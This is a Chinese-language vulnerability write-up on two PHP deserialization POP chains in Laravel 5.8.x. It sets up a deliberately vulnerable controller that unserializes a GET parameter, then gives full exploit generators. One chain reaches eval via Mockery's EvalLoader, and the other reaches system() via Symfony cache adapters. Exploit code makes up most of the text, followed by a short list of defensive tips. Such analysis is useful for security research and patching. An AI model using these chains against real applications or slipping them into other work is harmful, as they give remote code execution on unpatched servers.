Laravel5.8.x反序列化POP链
字数 1386 2025-08-27 12:33:43
Laravel 5.8.x 反序列化POP链分析
漏洞环境搭建
- 使用composer安装Laravel 5.8框架:
composer create-project --prefer-dist laravel/laravel laravel58
cd laravel58
php artisan serve --host=0.0.0.0
- 添加路由和控制器:
在routes/web.php中添加:
Route::get("/", "\App\Http\Controllers\DemoController@demo");
- 创建控制器
app/Http/Controllers/DemoController.php:
<?php
namespace App\Http\Controllers;
class DemoController extends Controller {
public function demo() {
if (isset($_GET['c'])) {
$code = $_GET['c'];
unserialize($code);
} else {
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}
POP链1分析
调用链路径
PendingBroadcast::__destruct()Dispatcher::dispatch()Dispatcher::dispatchToQueue()EvalLoader::load()
详细分析
-
入口点:
PendingBroadcast类的__destruct方法- 将
$this->events设置为Dispatcher类实例
- 将
-
Dispatcher::dispatch():
- 需要使
$command(即$this->event)实现ShouldQueue接口 - 目的是执行到
dispatchToQueue方法中的call_user_func
- 需要使
-
Dispatcher::dispatchToQueue():
- 存在
call_user_func函数,可完成任意类方法调用 - 选择
EvalLoader类的load方法作为目标
- 存在
-
EvalLoader::load():
- 包含
eval函数调用,参数可控 - 需要绕过
if条件:找一个有getName方法的类且返回结果可控
- 包含
EXP构造
<?php
namespace PhpParser\Node\Scalar\MagicConst {
class Line {}
}
namespace Mockery\Generator {
class MockDefinition {
protected $config;
protected $code;
public function __construct($config, $code) {
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver) {
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console {
class QueuedCommand {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace {
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line, '<?php phpinfo();?>');
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader, 'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher, $queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
POP链2分析
环境准备
需要添加Symfony组件:
# 在composer.json的require中添加
"symfony/symfony": "4.*"
# 然后执行
composer update
调用链路径
TagAwareAdapter::__destruct()ProxyAdapter::saveDeferred()ProxyAdapter::doSave()- 动态函数调用执行命令
详细分析
-
入口点:
TagAwareAdapter类的__destruct方法- 会调用
$this->pool的saveDeferred方法
- 会调用
-
ProxyAdapter::saveDeferred():
- 将
$this->pool设置为ProxyAdapter类 - 调用
doSave方法
- 将
-
ProxyAdapter::doSave():
- 存在可控的动态调用:
($this->setInnerItem)($innerItem, $item) $item是强转数组后的CacheItem对象- 利用
system函数执行命令
- 存在可控的动态调用:
-
关键点:
- 数组键名带有
\0*\0表示protected属性 $innerItem可控,作为命令执行参数
- 数组键名带有
EXP构造
<?php
namespace Symfony\Component\Cache {
final class CacheItem {
protected $expiry;
protected $poolHash;
protected $innerItem;
public function __construct($expiry, $poolHash, $command) {
$this->expiry = $expiry;
$this->poolHash = $poolHash;
$this->innerItem = $command;
}
}
}
namespace Symfony\Component\Cache\Adapter {
class ProxyAdapter {
private $poolHash;
private $setInnerItem;
public function __construct($poolHash, $func) {
$this->poolHash = $poolHash;
$this->setInnerItem = $func;
}
}
class TagAwareAdapter {
private $deferred = [];
private $pool;
public function __construct($deferred, $pool) {
$this->deferred = $deferred;
$this->pool = $pool;
}
}
}
namespace {
$cacheitem = new Symfony\Component\Cache\CacheItem(1, 1, "whoami");
$proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1, 'system');
$tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem), $proxyadapter);
echo urlencode(serialize($tagawareadapter));
}
防护建议
- 不要反序列化不可信的数据
- 及时更新框架和组件版本
- 使用
__wakeup()或__destruct()方法进行安全检查 - 考虑使用JSON等更安全的序列化格式替代PHP原生序列化
总结
本文详细分析了Laravel 5.8.x中的两条反序列化POP链:
- 第一条链利用
PendingBroadcast的__destruct方法,通过Dispatcher和EvalLoader最终执行任意PHP代码 - 第二条链利用Symfony组件的
TagAwareAdapter,通过动态函数调用执行系统命令
两条链都展示了PHP反序列化漏洞的威力,强调了安全编程的重要性。